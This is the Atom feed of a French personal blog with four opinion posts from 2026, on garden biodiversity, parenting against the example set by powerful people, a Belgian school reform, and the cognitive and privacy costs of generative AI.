<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>notes·de·pit</title><link href="http://blog.namok.be/" rel="alternate"/><link href="http://blog.namok.be/atom.xml" rel="self"/><id>http://blog.namok.be/</id><updated>2026-07-10T00:00:00+02:00</updated><subtitle>Parfois j'apprends à pêcher à des gens qui n'aiment pas le poisson</subtitle><entry><title>La biodiversité vue depuis son jardin</title><link href="http://blog.namok.be/2026-07-10-biodiversite-vue-depuis-jardin.html" rel="alternate"/><published>2026-07-10T00:00:00+02:00</published><updated>2026-07-10T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2026-07-10:/2026-07-10-biodiversite-vue-depuis-jardin.html</id><summary type="html">La biodiversité vue depuis son jardin</summary><content type="html">&lt;p&gt;&lt;img alt="Mon jardin un peu punk" src="/images/jardin-punk.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Entre deux séances de désherbage de la terrasse — parce que les herbes, bonnes ou mauvaises, n&amp;rsquo;y sont pas les bienvenues — je lis que la nature est en souffrance. Des centres de revalidation d&amp;rsquo;oisillons voient la demande croitre, avec des oisillons de plus en plus jeunes : les parents les abandonnent, faute de nourriture suffisante — principalement des insectes, en déclin de 75 % en 30 ans. Des fermiers rentrent leurs bovins et leur donnent les rations d&amp;rsquo;hiver, faute d&amp;rsquo;herbe à brouter. Les maraîchers parlent de l&amp;rsquo;effet &lt;em&gt;sèche-cheveux&lt;/em&gt; : le vent sec et chaud assèche les plantes, et ils se demandent ce que sera leur récolte (&lt;em&gt;spoiler alert&lt;/em&gt;, ce sont ces récoltes qui nous nourrissent).&lt;/p&gt;
&lt;p&gt;Pendant mes séances de désherbage de la terrasse je repense à ces articles et recommandations ventant les mérites des jardins punks et des zones de fauchage tardif qui permettraient de conserver un semblant de biodiversité. Pourquoi chaque citoyen ayant un jardin de quelques mètres carrés n&amp;rsquo;y plante pas des haies, un ou plusieurs arbres et une ou plusieurs zones de fauchage tardifs et préfèrent un robot tondeuse et un jardin comme un terrain de foot — ou de golf. Choisis ton camp ?  Pourquoi d&amp;rsquo;ailleurs est-ce que ce type de jardin nu reste-t-il la norme ?&lt;/p&gt;
&lt;p&gt;Lorsque je suis le long de la route, je vois un peu de fauchage tardif. C&amp;rsquo;est bien. Je vois aussi des routes sans arbres le long ou bien avec des &lt;em&gt;trous&lt;/em&gt; parce que des arbres sont morts et n&amp;rsquo;ont pas été remplacés. À nouveau, l&amp;rsquo;état a un rôle à jouer — LOL, j&amp;rsquo;y crois pas — pour planter, végétaliser et faire campagne pour que le citoyen trouve normal qu&amp;rsquo;il y ait de la biodiversité dans son jardin… et qu&amp;rsquo;il sache ce que c&amp;rsquo;est et combien c&amp;rsquo;est important. &lt;/p&gt;
&lt;p&gt;Perso, je fais mon colibri — avec mes contradictions d&amp;rsquo;humain bien sûr — et j&amp;rsquo;essaie que mon jardin soit vivant. &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://lepotagerminimaliste.fr/art-du-jardin-punk"&gt;L&amp;rsquo;art du jardin punk&lt;/a&gt;&lt;/p&gt;</content><link href="http://blog.namok.be/images/jardin-punk.jpg" length="0" rel="enclosure" type="image/jpeg"/></entry><entry><title>Faites ce que je fais, pas ce qu'ils font</title><link href="http://blog.namok.be/2026-07-06-faites-ce-que-je-fais-pas-ce-quils-font.html" rel="alternate"/><published>2026-07-06T00:00:00+02:00</published><updated>2026-07-06T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2026-07-06:/2026-07-06-faites-ce-que-je-fais-pas-ce-quils-font.html</id><summary type="html">Faites ce que je fais, pas ce qu'ils font</summary><content type="html">&lt;p&gt;&lt;img alt="Le ballon de foot de la coupe de monde 2026 sur l'herbe d'un terrain" src="/images/ballon-foot-coupe-monde-2026.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Mes parents m&amp;rsquo;ont éduqué à être bon et je pense que tout parent — ou bien je me leurre — aspire à ce que son enfant soit &lt;em&gt;une bonne personne&lt;/em&gt;. &lt;/p&gt;
&lt;p&gt;— C&amp;rsquo;est quoi, être bon ?&lt;/p&gt;
&lt;p&gt;Respecter les autres. Ne pas mentir. Faire plutôt le bien que le mal. Être quelqu&amp;rsquo;un d&amp;rsquo;agréable pour les gens que je côtoie. Penser aux autres. Veiller à minimiser les injustices &lt;em&gt;comme on peut&lt;/em&gt;…&lt;/p&gt;
&lt;p&gt;Nous apprenons tous et toutes par mimétisme et nos enfants n&amp;rsquo;y échappent pas. Je fais comme papa. Je fais comme maman. J&amp;rsquo;apprends plus en &lt;em&gt;regardant&lt;/em&gt; qu&amp;rsquo;en &lt;em&gt;écoutant&lt;/em&gt;. Si Papa n&amp;rsquo;est pas collé à mon GSM, je ne le serai pas trop non plus. Si Maman est souvent dehors, j&amp;rsquo;aimerai être dehors &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;2&lt;/a&gt;&lt;/sup&gt;. Si pendant les vacances, la famille fait beaucoup de randonnées, je marche avec eux et j&amp;rsquo;apprécie. Papa et Maman &lt;sup id="fnref:f01"&gt;&lt;a class="footnote-ref" href="#fn:f01"&gt;1&lt;/a&gt;&lt;/sup&gt; sont attentifs aux autres, aux amis et amies, je trouve aussi que c&amp;rsquo;est important. &lt;/p&gt;
&lt;p&gt;Bien sûr avec chacun son caractère et pas dans les mêmes proportions mais nous sommes bien des exemples qu&amp;rsquo;ils suivent (ça vaut aussi pour les animateurs, animatrices, enseignants et enseignantes qui les entourent).&lt;/p&gt;
&lt;p&gt;Et puis, il y a la société dans laquelle je vis. Dans laquelle tu vis. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ne prends surtout pas exemple sur les grands.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ces grands là ne sont pas les adultes qui t&amp;rsquo;entourent et qui s&amp;rsquo;occupent de toi, non, ce sont les puissants. Celles et ceux — mais c&amp;rsquo;est plus souvent des hommes — qui ont le pouvoir politique ou l&amp;rsquo;argent… ou les deux. &lt;/p&gt;
&lt;p&gt;J&amp;rsquo;essaie de faire l&amp;rsquo;effort de ne pas trop utiliser mon téléphone. De &lt;strong&gt;limiter mon temps d&amp;rsquo;écran&lt;/strong&gt;. C&amp;rsquo;est difficile. D&amp;rsquo;un côté, je sais que c&amp;rsquo;est mauvais. C&amp;rsquo;est prouvé. De l&amp;rsquo;autres, les &lt;em&gt;grands&lt;/em&gt; travaillent à ce que les applications soient les plus captivantes — pas utiles, captivantes &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;3&lt;/a&gt;&lt;/sup&gt; possibles. Saloperie de scroll infini. &lt;/p&gt;
&lt;p&gt;&lt;a href="2022-01-11-sobriete-numerique.html"&gt;Sobriété numérique&lt;/a&gt;&lt;br&gt;
&lt;a href="2026-05-03-le-curseur-clignote.html"&gt;Le curseur clignote&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ces jours-ci, ça parle d&amp;rsquo;un &lt;strong&gt;carton rouge au football&lt;/strong&gt; (&lt;a href="https://www.lalibre.be/sports/football/coupe-du-monde/2026/07/06/affaire-balogun-luefa-accuse-la-fifa-davoir-franchi-une-ligne-rouge-avec-une-decision-inedite-incomprehensible-et-injustifiable-PQKADGASYBB73J6F3LXIETC4XI/"&gt;La libre&lt;/a&gt;, &lt;a href="https://www.lesoir.be/757604/article/2026-07-06/suspension-du-carton-rouge-de-balogun-un-precedent-en-coupe-du-monde-existe-et"&gt;Le Soir&lt;/a&gt;) — si tu n&amp;rsquo;aimes pas le foot, reste quand même. Lorsqu&amp;rsquo;un joueur reçoit un carton rouge, il ne joue pas le match suivant (parfois la sanction est plus lourde).
Tu reçois un carton rouge, lorsque tu fais une faute. Lorsque tu ne respectes pas les règles, et ça peut être volontaire ou involontaire — bien que l&amp;rsquo;on entende parfois des supporteurs dire : « Là, il est obligé de faire la faute » — tu es sanctionné. &lt;/p&gt;
&lt;p&gt;Les petits joueurs de foot et les petites joueuses apprennent ça très vite. Il faut être &lt;em&gt;fairplay&lt;/em&gt;, respecter les règles, sinon, il y a une sanction… Ben, pas pour tout le monde : un puissant (Trump) appelle un ami puissant (Giovanni Infantino, FIFA) et la &lt;a href="https://www.lesoir.be/757561/article/2026-07-05/balogun-trump-et-la-fifa-le-parfum-dun-drole-de-match"&gt;sanction tombe&lt;/a&gt; au sens supprimée, effacée, &lt;em&gt;y a pu d&amp;rsquo;carton rouge&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Chez nous, on fait attention : on évite de gaspiller l&amp;rsquo;eau, l&amp;rsquo;électricité, la nourriture. On respecte les communs : le puits du village est à tout le monde, on l&amp;rsquo;utilise en bon parent de famille, sans le vider pour soi tout seul.&lt;/p&gt;
&lt;p&gt;&lt;a href="2018-02-13-si-je-devais-me-presenter-aux-elections.html"&gt;Si je devais me présenter aux élections&lt;/a&gt;&lt;br&gt;
&lt;a href="2017-03-31-eau-en-bouteille-robinet-serieusement.html"&gt;De l&amp;rsquo;eau en bouteille alors que tu as un robinet ! Sérieusement.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tu fais ton colibri&lt;/em&gt; (tu sais, le colibri qui fait sa part) et pendant ce temps, les puissants — ici les GAFAM — décident &lt;a href="https://www.lesnumeriques.com/intelligence-artificielle/une-premiere-mondiale-google-va-alimenter-ses-serveurs-ia-avec-un-reacteur-nucleaire-n241124.html"&gt;d&amp;rsquo;avoir leur propre réacteur nucléaire&lt;/a&gt; pour alimenter leurs data centers. Et pendant ce temps aussi, &lt;a href="https://mrmondialisation.org/bresil-mega-datacenter-tiktok-menace-communaute-anace/"&gt;Tik Tok négocie un quota d&amp;rsquo;eau garanti pour son propre data center, quels que soient les besoins de la population locale&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;&lt;a href="2022-08-22-technologie-aller-dans-le-bon-sens.html"&gt;Technologie, aller dans le bon sens&lt;/a&gt;&lt;br&gt;
&lt;a href="2016-02-19-pourquoi-faut-il-lutter-contre-les-societes-privees.html"&gt;Il faut lutter contre les sociétés privées&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Je me sens de plus en plus mal à l&amp;rsquo;aise dans la société dans laquelle je vis où j&amp;rsquo;ai l&amp;rsquo;impression que &lt;strong&gt;tout&lt;/strong&gt; ce que je veux transmettre à mes enfants est exactement l&amp;rsquo;inverse que ce que me montre la société.&lt;br&gt;
&lt;em&gt;Ça va toujours dans la mauvaise direction.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;(Je sais, la mauvaise direction, c&amp;rsquo;est toujours celle de l&amp;rsquo;autre et &lt;a href="2025-07-18-jaurais-voulu-etre.html"&gt;j&amp;rsquo;en parlais déjà un peu ici&lt;/a&gt;. Mais bon, on pourrait être &lt;em&gt;juste de bonne foi parfois&lt;/em&gt;…)&lt;/p&gt;
&lt;p&gt;— Alors, comment faire ?&lt;br&gt;
— J&amp;rsquo;en sais rien mais…&lt;/p&gt;
&lt;p&gt;Je continue à montrer l&amp;rsquo;exemple à la maison, même si ça parait dérisoire. Je nomme la duplicité : ces personnes ont le pouvoir mais ne sont pas dignes de confiance. J&amp;rsquo;essaie de développer l&amp;rsquo;esprit critique plutôt que l&amp;rsquo;obéissance à l&amp;rsquo;autorité. Je peux même parler de &lt;em&gt;désobéissance civile&lt;/em&gt;. &lt;/p&gt;
&lt;p&gt;&lt;a href="2013-02-03-le-jeu-de-la-mort.html"&gt;Le jeu de la mort&lt;/a&gt;.  &lt;/p&gt;
&lt;p&gt;Et j&amp;rsquo;assume de ne pas avoir toutes les réponses.&lt;br&gt;
D&amp;rsquo;ailleurs, j&amp;rsquo;en ai de moins en moins…&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo au hasard du web.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f01"&gt;
&lt;p&gt;Papa, Papa et Papa, Maman, Maman et Maman… toutes les combinaisons sont possibles. Osef.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f01" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Ça, c&amp;rsquo;est pas toujours gagné ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;&lt;em&gt;Persuasive design&lt;/em&gt;, économie de l&amp;rsquo;attention, appelle ça comme tu veux — le principe reste le même : capter ton temps de cerveau disponible le plus longtemps possible.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><link href="http://blog.namok.be/images/ballon-foot-coupe-monde-2026.jpg" length="0" rel="enclosure" type="image/jpeg"/></entry><entry><title>2 périodes en plus, osef</title><link href="http://blog.namok.be/2026-05-19-2-periodes-en-plus-osef.html" rel="alternate"/><published>2026-05-19T00:00:00+02:00</published><updated>2026-05-19T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2026-05-19:/2026-05-19-2-periodes-en-plus-osef.html</id><summary type="html">Le vrai enjeu est ailleurs : ce que la réforme change en silence pour l’école, les profs et les élèves.</summary><content type="html">&lt;p&gt;&lt;img alt="un tableau sur lequel est écrit  &amp;quot;#larevolutiondescraies&amp;quot;" src="/images/larevolutiondescraies.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Deux périodes en plus, on s&amp;rsquo;en fout !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;#laRévolutionDesCraies&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On me dira que &lt;em&gt;j’ai facile à dire&lt;/em&gt;, que je ne suis pas concerné. Faux. Deux périodes de 50 minutes, ce n’est pas rien : c’est du travail en plus, non rémunéré, qui aura un impact réel sur l’emploi. 2000 emplois. Mais réduire la réforme à ça, c’est tomber dans le piège du &lt;em&gt;bashing&lt;/em&gt; habituel : ben oui, &lt;em&gt;enseignants - fainéants&lt;/em&gt;. &lt;em&gt;Et ils et elles pleurent pour 100 malheureuses minutes ?&lt;/em&gt; Sauf qu’une période face classe, ce n’est pas 50 minutes. C’est de la préparation, de la correction, de la veille, de l’évaluation. Même pour les personnes les plus expérimentées.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ces deux périodes masquent le reste.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On s&amp;rsquo;en fout parce que ça cache la mise en place de nouvelles grilles horaires dans le secondaire où l&amp;rsquo;on sacrifie les cours d&amp;rsquo;arts au profit des maths et du numérique. 
Les maths, très bien. Le numérique, pourquoi pas. Mais deux heures, au mieux de code, au pire de Microsoft Excel avec IA pour être à la mode, dans des écoles où les ordinateurs sont vétustes, où le réseau rame, où un prof maintient bénévolement l&amp;rsquo;infra… c’est pas crédible.&lt;/p&gt;
&lt;p&gt;On s&amp;rsquo;en fout car on demande de plus en plus aux enseignants de &lt;em&gt;faire de l&amp;rsquo;intégration&lt;/em&gt; — d&amp;rsquo;accueillir des élèves à besoins spécifiques et de multiplier les aménagements raisonnables — sans baisser d&amp;rsquo;un iota la taille des classes. Gérer les dyslexies, les &lt;em&gt;dys&lt;/em&gt; de tout genre ou les TDAH à 24 ou 26 élèves par classe sans sur-encadrement, c&amp;rsquo;est de la magie, pas de la pédagogie. En retirant les moyens du pacte d&amp;rsquo;excellence, on transforme une belle idée humaine en un épuisement quotidien pour les profs et une frustration pour les jeunes élèves.&lt;/p&gt;
&lt;p&gt;On s’en fout, parce qu’on lance un test CLÉ — calculer, lire, écrire — sans donner les moyens de remédiation. Oui, 220 postes, c’est mieux que rien. Mais quand les professionnels disent déjà que le CEB et le CE1D sont trop simples, on peut craindre un test de plus qui creuse les inégalités plutôt qu’il ne les réduit. Et relever le taux de réussite à 60 % ne changera rien au fond. On commence à peine à s&amp;rsquo;habituer à cette réussite à 50 %&lt;/p&gt;
&lt;p&gt;On s’en fout, parce que la rationalisation du qualifiant et du professionnel ferme l’accès à certaines 7&lt;sup&gt;e&lt;/sup&gt; professionnelles pour les élèves ayant leur CESS. Résultat : des métiers importants — technicien en climatisation, en automobile, en maintenance — deviennent accessibles uniquement via des formations pour adultes, &lt;em&gt;mieux adaptée&lt;/em&gt; dit-on et… payantes. Une « alternative ». Vraiment ?&lt;/p&gt;
&lt;p&gt;On s’en fout, car le CDIE — le fameux CDI enseignant — est présenté comme une avancée. Fini la précarité, vive la stabilité. Finis aussi les mauvais profs indéboulonnables. Sauf que ce CDI dépendra du Pouvoir Organisateur. Un PO qui pourra déplacer ses jeunes profs d’une école à l’autre, parfois à des dizaines de kilomètres. Et surtout : un CDI privé n’offre pas la même protection qu’un statut. Le statut n&amp;rsquo;est ni un privilège ni du confort, c&amp;rsquo;est le gage d&amp;rsquo;une indépendance pédagogique. Les profs forment à l&amp;rsquo;esprit critique et peuvent parfois enseigner quelque chose qui &lt;em&gt;dérange&lt;/em&gt; tout en respectant le principe de neutralité. La neutralité, ce n&amp;rsquo;est pas de l&amp;rsquo;obéissance ni du silence.  Que se passera-t-il demain si un prof aborde un sujet sensible — EVRAS, sciences, littérature engagée — et que cela déplait à sa direction, à la commune à la classe politique actuelle ?&lt;br&gt;
Le statut protège l’école. Le CDI fragilise l’enseignant.&lt;/p&gt;
&lt;p&gt;Soyons honnêtes : tout n’est pas à jeter. Le retour aux sources du décret Paysage, l’obligation de réussir son BLOC1 en deux ans, l’interdiction des smartphones à des fins récréatives… ce sont de bonnes mesures.&lt;/p&gt;
&lt;p&gt;Ces réformes ne sont pas mauvaises par hasard. Elles dessinent un projet cohérent : faire porter la responsabilité de l&amp;rsquo;école sur l&amp;rsquo;individu — l&amp;rsquo;enseignant, la famille — plutôt que sur le système. L&amp;rsquo;objectif — conscient ou non — est de laisser les mieux dotés s&amp;rsquo;en sortir, et de faire porter le chapeau aux enseignants plutôt qu&amp;rsquo;à l&amp;rsquo;enseignement.&lt;/p&gt;
&lt;p&gt;Si on retire les moyens sans retirer les objectifs, ce ne sont pas les profs qui échoueront. Ce sont les élèves. Les citoyens de demain.&lt;/p&gt;</content></entry><entry><title>Le curseur clignote</title><link href="http://blog.namok.be/2026-05-03-le-curseur-clignote.html" rel="alternate"/><published>2026-05-03T00:00:00+02:00</published><updated>2026-05-03T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2026-05-03:/2026-05-03-le-curseur-clignote.html</id><summary type="html">La technologie n'est pas neutre. Ni l'IA. Ni le confort qu'elle procure.</summary><content type="html">&lt;p&gt;&lt;img alt="un terminal et un curseur qui clignote" src="/images/curseur.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Je tape ce texte le plus vite possible. Pourquoi ? Je ne sais pas. L&amp;rsquo;IA attend. Le curseur clignote. Quelque chose dans ce dispositif m&amp;rsquo;encourage à aller vite, à ne pas m&amp;rsquo;arrêter, à ne pas réfléchir. C&amp;rsquo;est peut-être la première chose à noter.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La langue n&amp;rsquo;est pas neutre. La pensée non plus.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Anne Alombert, philosophe, dit : utiliser Grok — l&amp;rsquo;IA d&amp;rsquo;Elon Musk — ou utiliser Claude — l&amp;rsquo;IA d&amp;rsquo;Anthropic — ou ChatGPT — l&amp;rsquo;IA d&amp;rsquo;OpenAI de Sam Altman — ou encore une autre, ce n&amp;rsquo;est pas la même chose. Les modèles ont été entrainés différemment, selon des critères différents, portés par des visions du monde différentes. Elle va même plus loin : quand ces outils transforment notre façon d&amp;rsquo;écrire, ils transforment nos catégories de mots. Et quand nos catégories de mots changent, nos catégories de pensée changent aussi. Ce qu&amp;rsquo;on est capable d&amp;rsquo;imaginer, de nommer, de concevoir — tout ça évolue.&lt;/p&gt;
&lt;p&gt;En s&amp;rsquo;appuyant sur ces dispositifs, on risque d&amp;rsquo;abandonner sa mémoire, son imagination à des automatismes. On cesse de produire des expressions singulières — issues de son propre passé, de ses désirs, de ses expériences. On devient, peu à peu, la moyenne des textes du monde. Plat. Sans saveur. &lt;/p&gt;
&lt;p&gt;Anne Alombert nomme les effets : &lt;em&gt;élimination des singularités, délégation de l&amp;rsquo;expression, défiance généralisée. Des simulacres de relation à la place de vraies relations. Une capacité diminuée à se relier collectivement. Et une habitude qui s&amp;rsquo;installe : donner des ordres à une machine pour un résultat immédiat. C&amp;rsquo;est efficace. Mais ce n&amp;rsquo;est pas une façon de se rapporter à ses semblables.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Je retiens que c&amp;rsquo;est le vocabulaire qui structure la pensée. Moins on dispose de mots pour nommer ce que l&amp;rsquo;on ressent, moins on est capable de le penser. Et moins on est capable de le penser, moins on peut gérer la divergence, l&amp;rsquo;incompréhension, le conflit. On sait ce que ça donne. Quand les mots manquent, la violence prend la place.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.rtbf.be/article/finirons-nous-par-ecrire-parler-et-penser-comme-chatgpt-11600236"&gt;Anne Alombert - Finirons-nous par écrire, parler et penser comme ChatGPT ?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;C&amp;rsquo;est aussi un autre GAFAM… avec la même promesse&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Les GAFAM (ou &lt;strong&gt;GAMAM&lt;/strong&gt; si tu préfères) — Google, Apple, Facebook / Meta, Amazon et Microsoft — deviennent &lt;strong&gt;OGMAXM&lt;/strong&gt; — OpenAI, Google, Microsoft, Anthropic, XAI (Grok), Mistral. Même promesse. Certains et certaines d&amp;rsquo;entre nous ont appris à se méfier de la collecte de données, du profilage, de la monétisation mais la majorité s&amp;rsquo;en fiche… ou ne peut pas faire autrement.  &lt;/p&gt;
&lt;p&gt;L&amp;rsquo;IA générative s&amp;rsquo;accompagne d&amp;rsquo;une amnésie collective. OpenAI, Anthropic, Mistral sont présentées comme autre chose. Elles sont portées par un « intérêt pour l&amp;rsquo;humanité ». L&amp;rsquo;IA va résoudre tous nos problèmes (&lt;em&gt;sic&lt;/em&gt;). &lt;/p&gt;
&lt;p&gt;LOL. 
&lt;em&gt;Don&amp;rsquo;t be evil&lt;/em&gt; &lt;a href="2019-03-17-maman-est-diabolique.html"&gt;comme dirait Maman diabolique&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Choisir son agent IA, c&amp;rsquo;est confier des données personnelles à un nouvel acteur dont on ne connait ni les véritables intentions ni les pratiques réelles de collecte. Quelles données ? En quelle quantité ? Pour combien de temps ? On ne sait pas. &lt;/p&gt;
&lt;p&gt;Mais l&amp;rsquo;interface est fluide, et le résultat impressionnant, le texte convaincant. Très convaincant. Alors, on n&amp;rsquo;insiste pas trop.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.qant.tech/evenement/une-puissance-de-conviction-surhumaine/fr"&gt;Une puissance de conviction surhumaine&lt;/a&gt;&lt;br&gt;
&lt;a href="https://blog.cyphergoat.net/blog/premiere-ebauche-sur-l-ia/"&gt;Les IA sont des GAFAM comme les autres&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;De toute façon, on n&amp;rsquo;a rien à cacher, alors.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tiens &lt;em&gt;et si vous appreniez que la Poste ouvre toutes vos lettres, en lit le contenu, en garde une copie, puis referme l&amp;rsquo;enveloppe avant de les distribuer ?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Ça choquerait, non ?
Ah ben non. On était choqués, maintenant, on est résignés. &lt;/p&gt;
&lt;p&gt;Puis, on ne voit pas la lettre s&amp;rsquo;ouvrir. Alors on fait comme si elle ne s&amp;rsquo;ouvrait pas.&lt;/p&gt;
&lt;p&gt;Rudy Demotte — j&amp;rsquo;aime beaucoup son style d&amp;rsquo;écriture — dans un billet sur les nouvelles pratiques de surveillance aux frontières américaines, décrit le même vertige à une autre échelle. Ce qui se met en place là-bas, ce n&amp;rsquo;est pas une &lt;em&gt;surveillance brutale et visible&lt;/em&gt;. C&amp;rsquo;est une &lt;em&gt;agrégation patiente, automatisée, cumulative&lt;/em&gt;. Des &lt;em&gt;fragments de vie transformés en profil durable. L&amp;rsquo;individu ne disparait pas — il est converti en entité calculable, anticipable, classable. Sa famille y passe aussi : les noms, les dates de naissance, les adresses. La frontière ne contrôle plus une personne. Elle ausculte une constellation entière.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est la même logique, à domicile. On nous répète que la technologie est neutre, on nous rabache — et on l&amp;rsquo;accepte — que ceux qui n&amp;rsquo;ont rien à se reprocher n&amp;rsquo;ont rien à cacher. Ça amène une docilité nouvelle — pas fondée sur la peur, mais sur le consentement organisé. Ce système-là, écrit Rudy Demotte, ne dit pas &lt;em&gt;obéis&lt;/em&gt;. Il dit &lt;em&gt;optimise&lt;/em&gt;. Il ne dit pas &lt;em&gt;soumets-toi&lt;/em&gt;. Il dit &lt;em&gt;sois transparent&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.facebook.com/demotterudy"&gt;Page facebook de Rudy Demotte&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Pour rappel, tout le monde sait ce que tu fais dans les toilettes. Tu fermes quand même la porte. Pas parce que tu as quelque chose à cacher. Parce que c&amp;rsquo;est intime.&lt;/p&gt;
&lt;p&gt;Quelle est l&amp;rsquo;intimité que j&amp;rsquo;entretiens avec une IA à qui je confie mes questions, mes doutes, mes textes en cours, mes projets ?&lt;/p&gt;
&lt;p&gt;Et pourtant, je rédige ce billet à l&amp;rsquo;aide de l&amp;rsquo;IA. Je suis pris dans ce que je décris. Et j&amp;rsquo;assume — à moitié. En me justifiant que c&amp;rsquo;est pour tester l&amp;rsquo;outil. &lt;/p&gt;
&lt;p&gt;&lt;a href="2025-09-03-c-est-trop-facile.html"&gt;Mais c&amp;rsquo;est trop facile&lt;/a&gt;.&lt;br&gt;
Ça nous appauvrit. &lt;/p&gt;
&lt;p&gt;En informatique, on parle de &lt;strong&gt;dette technique&lt;/strong&gt; : le coût à long terme d&amp;rsquo;une solution rapide et temporaire — &lt;em&gt;on fera mieux plus tard&lt;/em&gt;. C&amp;rsquo;est pareil avec notre cerveau. La &lt;strong&gt;dette cognitive&lt;/strong&gt;, c&amp;rsquo;est aller trop vite pour comprendre. C&amp;rsquo;est ingurgiter sans digérer. J&amp;rsquo;observe des étudiants qui soumettent une question à une IA, reçoivent une réponse en quelques secondes, et passent à autre chose sans l&amp;rsquo;avoir lue. Comme si le fait que la réponse &lt;em&gt;existe&lt;/em&gt; suffisait. Comme si la vitesse de génération imposait une vitesse identique de lecture.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On ne doit pas traiter l&amp;rsquo;information aussi vite qu&amp;rsquo;elle a été générée.&lt;/strong&gt; Si l&amp;rsquo;IA écrit en quelques secondes, je dois prendre le temps de lire. De comprendre. D&amp;rsquo;ingérer. De me laisser le temps de faire ce travail lent, nocturne, invisible qu&amp;rsquo;on appelle apprendre. Ce que décrit Anne Alombert va dans le même sens : déléguer l&amp;rsquo;expression de ses idées à une machine, c&amp;rsquo;est risquer, à terme, de ne plus savoir les formuler soi-même. Pas en une fois. Pas brutalement. Par petites doses, au rythme des habitudes qui s&amp;rsquo;installent.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Un poisson rouge dans son bocal.&lt;/em&gt; &lt;/p&gt;
&lt;p&gt;La technologie devrait nous aider et elle nous aide lorsqu&amp;rsquo;elle n&amp;rsquo;est pas &lt;strong&gt;imposée&lt;/strong&gt;. Elle est ici imposée partout. Gratuitement… sauf après la première dose ou dans ton entreprise. &lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est toujours le même schéma. Des sociétés privées lancent des outils pour leur profit. Elles créent des usages, des dépendances, des marchés. Puis quand les effets indésirables apparaissent — sur la santé mentale, sur l&amp;rsquo;attention, sur la vie privée, sur la démocratie —, c&amp;rsquo;est la collectivité qui prend en charge la réparation.&lt;/p&gt;
&lt;p&gt;Les bénéfices sont privés. Les coûts sont publics.&lt;/p&gt;
&lt;p&gt;&lt;a href="2016-02-19-pourquoi-faut-il-lutter-contre-les-societes-privees.html"&gt;Il faut lutter contre les sociétés privées&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Le smartphone est un bon exemple du cycle. On a mis ces appareils dans les mains de tout le monde — y compris des enfants — avant de comprendre les effets réels. On observe des problèmes d&amp;rsquo;attention, des difficultés à socialiser, une incapacité à s&amp;rsquo;ennuyer sans écran. Les effets sont documentés.&lt;/p&gt;
&lt;p&gt;Et pourtant un smartphone, c&amp;rsquo;est pratique. Très pratique. &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ce n&amp;rsquo;est jamais noir ou blanc. Toujours gris.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Qui répare les dégâts ? La société. Les familles. Les écoles. Les fonds publics. Pas les actionnaires des GAMAM.&lt;/p&gt;
